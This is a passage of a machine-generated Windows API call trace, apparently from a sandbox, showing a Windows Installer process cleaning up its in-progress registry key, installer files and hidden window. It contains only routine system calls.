[0210.545] CoTaskMemFree (pv=0x34b6b0) [0210.545] SetEvent (hEvent=0x174) returned 1 [0210.545] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.625] CoTaskMemAlloc (cb=0x37) returned 0x21016c0 [0210.625] memcpy (in: _Dst=0x21016c0, _Src=0x335f60, _Size=0x37 | out: _Dst=0x21016c0) returned 0x21016c0 [0210.625] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.626] CoTaskMemFree (pv=0x21016c0) [0210.626] SetEvent (hEvent=0x174) returned 1 [0210.626] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.901] CoTaskMemAlloc (cb=0x40) returned 0x372740 [0210.901] memcpy (in: _Dst=0x372740, _Src=0x335b40, _Size=0x40 | out: _Dst=0x372740) returned 0x372740 [0210.901] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.902] CoTaskMemFree (pv=0x372740) [0210.902] SetEvent (hEvent=0x174) returned 1 [0210.902] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.902] CoTaskMemAlloc (cb=0x7a) returned 0x3d8b60 [0210.902] memcpy (in: _Dst=0x3d8b60, _Src=0x335b40, _Size=0x7a | out: _Dst=0x3d8b60) returned 0x3d8b60 [0210.903] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0210.903] CoTaskMemFree (pv=0x3d8b60) [0210.903] SetEvent (hEvent=0x174) returned 1 [0210.903] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0210.906] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x4, pReturnValue=0x0) returned 0xffffffff800706ba [0210.907] SetEvent (hEvent=0x174) returned 1 [0210.907] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x1 [0210.980] GetExitCodeThread (in: hThread=0x194, lpExitCode=0xdce3c0 | out: lpExitCode=0xdce3c0) returned 1 [0210.981] FreeLibrary (hLibModule=0x73440000) returned 1 [0210.982] DestroyWindow (hWnd=0xa00a6) returned 1 [0210.982] NtdllDefWindowProc_W (hWnd=0xa00a6, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0210.982] NtdllDefWindowProc_W (hWnd=0xa00a6, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0210.982] UnregisterClassW (lpClassName="MsiHiddenWindow", hInstance=0x7fef7830000) returned 1 [0210.983] IUnknown_Release_Proxy (This=0x326b58) returned 0x1 [0210.983] CloseHandle (hObject=0x194) returned 1 [0210.983] FreeLibrary (hLibModule=0x7fefb7a0000) returned 1 [0210.983] CloseHandle (hObject=0x170) returned 1 [0210.983] CloseHandle (hObject=0x174) returned 1 [0210.983] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0210.983] GetProcAddress (hModule=0x7fef64b0000, lpProcName="RmEndSession") returned 0x7fef64b4ea0 [0210.984] RmEndSession () returned 0x0 [0211.117] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0211.117] CloseHandle (hObject=0x0) returned 0 [0211.118] CloseHandle (hObject=0x0) returned 0 [0211.118] GetCurrentThreadId () returned 0xf3c [0211.118] SetEvent (hEvent=0xf4) returned 1 [0211.120] CloseHandle (hObject=0x16c) returned 1 [0211.120] CloseHandle (hObject=0x184) returned 1 [0211.120] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress") returned 62 [0211.120] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x20119, phkResult=0x34b448 | out: phkResult=0x34b448*=0x184) returned 0x0 [0211.120] RegQueryValueExW (in: hKey=0x184, lpValueName=0x0, lpReserved=0x0, lpType=0xdce150, lpData=0xdce170, lpcbData=0xdce110*=0x100 | out: lpType=0xdce150*=0x1, lpData="C:\\Windows\\Installer\\1876f00.ipi", lpcbData=0xdce110*=0x42) returned 0x0 [0211.120] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0211.121] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0211.121] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi")) returned 0x20 [0211.121] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0211.121] StgOpenStorage (in: pwcsName="C:\\Windows\\Installer\\1876f00.ipi", pstgPriority=0x0, grfMode=0x20, snbExclude=0x0, reserved=0x0, ppstgOpen=0xdce2b8 | out: ppstgOpen=0xdce2b8*=0x2125200) returned 0x0 [0211.129] IUnknown:AddRef (This=0x2125200) returned 0x2 [0211.129] IStorage:Stat (in: This=0x2125200, pstatstg=0xdce1b0, grfStatFlag=0x0 | out: pstatstg=0xdce1b0) returned 0x0 [0211.129] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0211.129] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0xdce1a8 | out: ppMalloc=0xdce1a8*=0x7fefd6b5380) returned 0x0 [0211.129] IMalloc:Free (This=0x7fefd6b5380, pv=0x35fd90) [0211.129] IUnknown:AddRef (This=0x7fefd6b5380) returned 0x1 [0211.129] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0211.129] IUnknown:Release (This=0x2125200) returned 0x1 [0211.130] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䕙䇲䆸㲷䠧", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0211.130] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.130] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.130] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䕙䇲䆸㷷䐤䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.131] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.131] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.131] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䒕䒪㾱䈶䠵", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.131] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.131] ISequentialStream:RemoteRead (in: This=0x32d6b0, pv=0x332e4c, cb=0x400, pcbRead=0x33324c | out: pv=0x332e4c*=0x6b, pcbRead=0x33324c*=0x12) returned 0x0 [0211.131] memcpy (in: _Dst=0x31f520, _Src=0x332e4c, _Size=0x12 | out: _Dst=0x31f520) returned 0x31f520 [0211.132] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.132] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䈜䈯䗦䒬䖱", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.132] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.132] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.132] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䒏䇯䕨䠶", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.133] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.133] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.133] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䕙䓲䕨䌷䖨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.133] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.133] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.133] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䌝䈰䗜䐤㵳䚲", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.134] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.134] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.134] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䌝䈰䗜䐤㱳䊬䠫", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.134] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.134] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.134] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䄍䄷䄥䈶䄙䋷", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.135] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.135] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.135] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䌍䎶䕙䐲䗳", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.135] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.135] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.135] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䌍䎶䈜䌵䏤", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.136] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.136] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.136] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䜜䗶䐨䈛䗶䕲㼨䔨䈸䆱䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.136] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.136] ISequentialStream:RemoteRead (in: This=0x32d6b0, pv=0x332e4c, cb=0x400, pcbRead=0x33324c | out: pv=0x332e4c*=0x32, pcbRead=0x33324c*=0x4) returned 0x0 [0211.136] memcpy (in: _Dst=0x32b040, _Src=0x332e4c, _Size=0x4 | out: _Dst=0x32b040) returned 0x32b040 [0211.136] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.137] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䉊䈷㻵䅨䒲䠷", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.137] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.137] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.137] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䕝䑤䄶䗦䒬㷱䐤䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.140] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.140] ISequentialStream:RemoteRead (in: This=0x32d6b0, pv=0x332e4c, cb=0x400, pcbRead=0x33324c | out: pv=0x332e4c*=0x43, pcbRead=0x33324c*=0xbc) returned 0x0 [0211.140] memcpy (in: _Dst=0x3811f0, _Src=0x332e4c, _Size=0xbc | out: _Dst=0x3811f0) returned 0x3811f0 [0211.140] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.141] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䕝䑤䄶䗦䒬㫱䊨䑬䌝䈰䒕䠺", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.141] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.141] ISequentialStream:RemoteRead (in: This=0x32d6b0, pv=0x332e4c, cb=0x400, pcbRead=0x33324c | out: pv=0x332e4c*=0x34, pcbRead=0x33324c*=0x12) returned 0x0 [0211.141] memcpy (in: _Dst=0x31f7e0, _Src=0x332e4c, _Size=0x12 | out: _Dst=0x31f7e0) returned 0x31f7e0 [0211.141] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.141] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䕝䑤䄶䗦䒬㫱䊨䑬䌝䈰䌑䋪", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.142] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.142] ISequentialStream:RemoteRead (in: This=0x32d6b0, pv=0x332e4c, cb=0x400, pcbRead=0x33324c | out: pv=0x332e4c*=0x33, pcbRead=0x33324c*=0x10) returned 0x0 [0211.142] memcpy (in: _Dst=0x32b2b0, _Src=0x332e4c, _Size=0x10 | out: _Dst=0x32b2b0) returned 0x32b2b0 [0211.142] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.142] IStorage:RemoteOpenStream (in: This=0x2125200, pwcsName="䘖䗯㹬䆤䄮䈪䕝䑤䄶䗦䒬䠱", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xdce1d0, ppstm=0x32d6b0 | out: ppstm=0x32d6b0*=0x7fefd69e520) returned 0x0 [0211.143] IStream:Stat (in: This=0x32d6b0, pstatstg=0xdce130, grfStatFlag=0x1 | out: pstatstg=0xdce130) returned 0x0 [0211.143] ISequentialStream:RemoteRead (in: This=0x32d6b0, pv=0x332e4c, cb=0x400, pcbRead=0x33324c | out: pv=0x332e4c*=0x30, pcbRead=0x33324c*=0x2) returned 0x0 [0211.143] memcpy (in: _Dst=0x32b280, _Src=0x332e4c, _Size=0x2 | out: _Dst=0x32b280) returned 0x32b280 [0211.143] IUnknown:Release (This=0x32d6b0) returned 0x0 [0211.143] IUnknown:Release (This=0x2125200) returned 0x0 [0211.144] RegCloseKey (hKey=0x184) returned 0x0 [0211.144] SetLastError (dwErrCode=0x0) [0211.144] SetLastError (dwErrCode=0x0) [0211.144] WinSqmIsOptedIn () returned 0x0 [0211.144] SetEvent (hEvent=0xf4) returned 1 [0211.146] DuplicateTokenEx (in: hExistingToken=0x140, dwDesiredAccess=0x0, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x7fef7b1d758 | out: phNewToken=0x7fef7b1d758*=0x184) returned 1 [0211.146] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0xc, TokenInformation=0xdce248, TokenInformationLength=0x4, ReturnLength=0xdce250 | out: TokenInformation=0xdce248, ReturnLength=0xdce250) returned 1 [0211.146] WTSGetActiveConsoleSessionId () returned 0x1 [0211.146] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x16c [0211.146] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x228 [0211.146] GetCurrentThreadId () returned 0xf3c [0211.146] GetCurrentThreadId () returned 0xf3c [0211.146] GetCurrentThreadId () returned 0xf3c [0211.146] GetVersionExW (in: lpVersionInformation=0xdcdfe0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x4e0, dwBuildNumber=0x0, dwPlatformId=0x2e0758, szCSDVersion="") | out: lpVersionInformation=0xdcdfe0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0211.146] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0xdce1d0 | out: phkResult=0xdce1d0*=0x0) returned 0x2 [0211.146] RegisterClassW (lpWndClass=0xdce250) returned 0xc08c [0211.147] CreateWindowExW (dwExStyle=0x0, lpClassName="MsiHiddenWindow", lpWindowName="", dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x7fef7830000, lpParam=0x0) returned 0xb00a6 [0211.147] NtdllDefWindowProc_W (hWnd=0xb00a6, Msg=0x81, wParam=0x0, lParam=0xdcdc20) returned 0x1 [0211.147] NtdllDefWindowProc_W (hWnd=0xb00a6, Msg=0x83, wParam=0x0, lParam=0xdcdc90) returned 0x0 [0211.147] NtdllDefWindowProc_W (hWnd=0xb00a6, Msg=0x1, wParam=0x0, lParam=0xdcdc00) returned 0x0 [0211.147] NtdllDefWindowProc_W (hWnd=0xb00a6, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0211.147] NtdllDefWindowProc_W (hWnd=0xb00a6, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0211.147] SetThreadToken (Thread=0x0, Token=0x184) returned 1 [0211.147] GetSystemWindowsDirectoryW (in: lpBuffer=0xdce010, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0211.148] lstrlenW (lpString="C:\\Windows") returned 10 [0211.148] lstrlenW (lpString="\\") returned 1 [0211.148] lstrlenW (lpString="Installer") returned 9 [0211.148] lstrlenW (lpString="\\") returned 1 [0211.148] GetCurrentThreadId () returned 0xf3c [0211.148] GetCurrentThreadId () returned 0xf3c [0211.148] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0x1, TokenInformation=0xdcdf00, TokenInformationLength=0x58, ReturnLength=0xdcdef0 | out: TokenInformation=0xdcdf00, ReturnLength=0xdcdef0) returned 1 [0211.148] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0xdcdfe0, pSourceSid=0xdcdf10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xdcdfe0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0211.148] ConvertSidToStringSidW (in: Sid=0xdcdfe0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0xdcdfc0 | out: StringSid=0xdcdfc0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0211.148] LocalFree (hMem=0x3d6870) returned 0x0 [0211.148] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0xdce190 | out: phkResult=0xdce190*=0x0) returned 0x2 [0211.148] GetCurrentThreadId () returned 0xf3c [0211.148] GetCurrentThreadId () returned 0xf3c [0211.148] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0xdce190 | out: phkResult=0xdce190*=0x0) returned 0x2 [0211.149] IUnknown_AddRef_Proxy (This=0x326b58) returned 0x2 [0211.149] GetProcAddress (hModule=0x76b00000, lpProcName="SetThreadExecutionState") returned 0x76b4d1c0 [0211.149] SetThreadExecutionState (esFlags=0x80000001) returned 0x80000000 [0211.151] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="DisableLowDiskWarning") returned 0x270 [0211.151] lstrlenW (lpString="SAGE") returned 4 [0211.151] GetSystemDirectoryW (in: lpBuffer=0xdce0b0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0211.151] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\SAGE.DLL") returned 0x0 [0211.151] SystemParametersInfoW (in: uiAction=0x10, uiParam=0x0, pvParam=0x7fef7b243f8, fWinIni=0x0 | out: pvParam=0x7fef7b243f8) returned 1 [0211.151] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Desktop", ulOptions=0x0, samDesired=0x20019, phkResult=0xdce310 | out: phkResult=0xdce310*=0x174) returned 0x0 [0211.152] RegQueryValueExW (in: hKey=0x174, lpValueName="ScreenSaverIsSecure", lpReserved=0x0, lpType=0xdce300, lpData=0xdce318, lpcbData=0xdce308*=0x8 | out: lpType=0xdce300*=0x0, lpData=0xdce318*=0x0, lpcbData=0xdce308*=0x8) returned 0x2 [0211.152] RegCloseKey (hKey=0x174) returned 0x0 [0211.152] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0x0) returned 0x80070057 [0211.152] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x7fefd6ba1b0) returned 0x1 [0211.152] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0211.152] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0211.152] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", ulOptions=0x0, samDesired=0x20119, phkResult=0x34b448 | out: phkResult=0x34b448*=0x0) returned 0x2 [0211.152] lstrlenW (lpString="HKEY_LOCAL_MACHINE") returned 18 [0211.152] lstrlenW (lpString="\\") returned 1 [0211.152] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0211.153] CoTaskMemAlloc (cb=0x10) returned 0x3b6890 [0211.153] memcpy (in: _Dst=0x3b6890, _Src=0x334ac0, _Size=0x10 | out: _Dst=0x3b6890) returned 0x3b6890 [0211.153] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0211.153] CoTaskMemFree (pv=0x3b6890) [0211.153] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0211.154] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0211.154] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts", ulOptions=0x0, samDesired=0x20119, phkResult=0x34bc48 | out: phkResult=0x34bc48*=0x0) returned 0x2 [0211.154] lstrlenW (lpString="HKEY_LOCAL_MACHINE") returned 18 [0211.154] lstrlenW (lpString="\\") returned 1 [0211.154] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Rollback\\Scripts") returned 68 [0211.154] CoTaskMemAlloc (cb=0x10) returned 0x3b6890 [0211.154] memcpy (in: _Dst=0x3b6890, _Src=0x334ac0, _Size=0x10 | out: _Dst=0x3b6890) returned 0x3b6890 [0211.154] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0xffffffff800706ba [0211.155] CoTaskMemFree (pv=0x3b6890) [0211.155] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0211.155] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress") returned 62 [0211.155] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x20119, phkResult=0x34b4c8 | out: phkResult=0x34b4c8*=0x174) returned 0x0 [0211.155] RegQueryValueExW (in: hKey=0x174, lpValueName=0x0, lpReserved=0x0, lpType=0xdce1b0, lpData=0xdce1d0, lpcbData=0xdce170*=0x100 | out: lpType=0xdce1b0*=0x1, lpData="C:\\Windows\\Installer\\1876f00.ipi", lpcbData=0xdce170*=0x42) returned 0x0 [0211.155] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0211.155] DeleteFileW (lpFileName="C:\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi")) returned 1 [0211.157] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0211.157] lstrlenW (lpString="SFC") returned 3 [0211.157] GetSystemDirectoryW (in: lpBuffer=0xdcdfc0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0211.157] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\SFC.DLL") returned 0x73440000 [0211.159] GetProcAddress (hModule=0x73440000, lpProcName="SfcIsKeyProtected") returned 0x7fef9821110 [0211.161] SfcIsKeyProtected () returned 0x0 [0211.161] RegCloseKey (hKey=0x174) returned 0x0 [0211.161] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x2011f, phkResult=0x34b4c8 | out: phkResult=0x34b4c8*=0x174) returned 0x0 [0211.161] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x2011f, phkResult=0x34b948 | out: phkResult=0x34b948*=0x170) returned 0x0 [0211.161] RegQueryInfoKeyW (in: hKey=0x170, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xdcdfe0, lpcbMaxSubKeyLen=0xdcdfe4, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xdcdfe0*=0x0, lpcbMaxSubKeyLen=0xdcdfe4, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0211.162] RegCloseKey (hKey=0x170) returned 0x0 [0211.162] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="RegDeleteKeyExW") returned 0x7fefe7ba740 [0211.162] RegDeleteKeyExW (hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", samDesired=0x100, Reserved=0x0) returned 0x0 [0211.174] RegCloseKey (hKey=0x174) returned 0x0 [0211.174] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress") returned 62 [0211.175] RegOpenKeyExW (in: hKey=0xffffffff80000002, 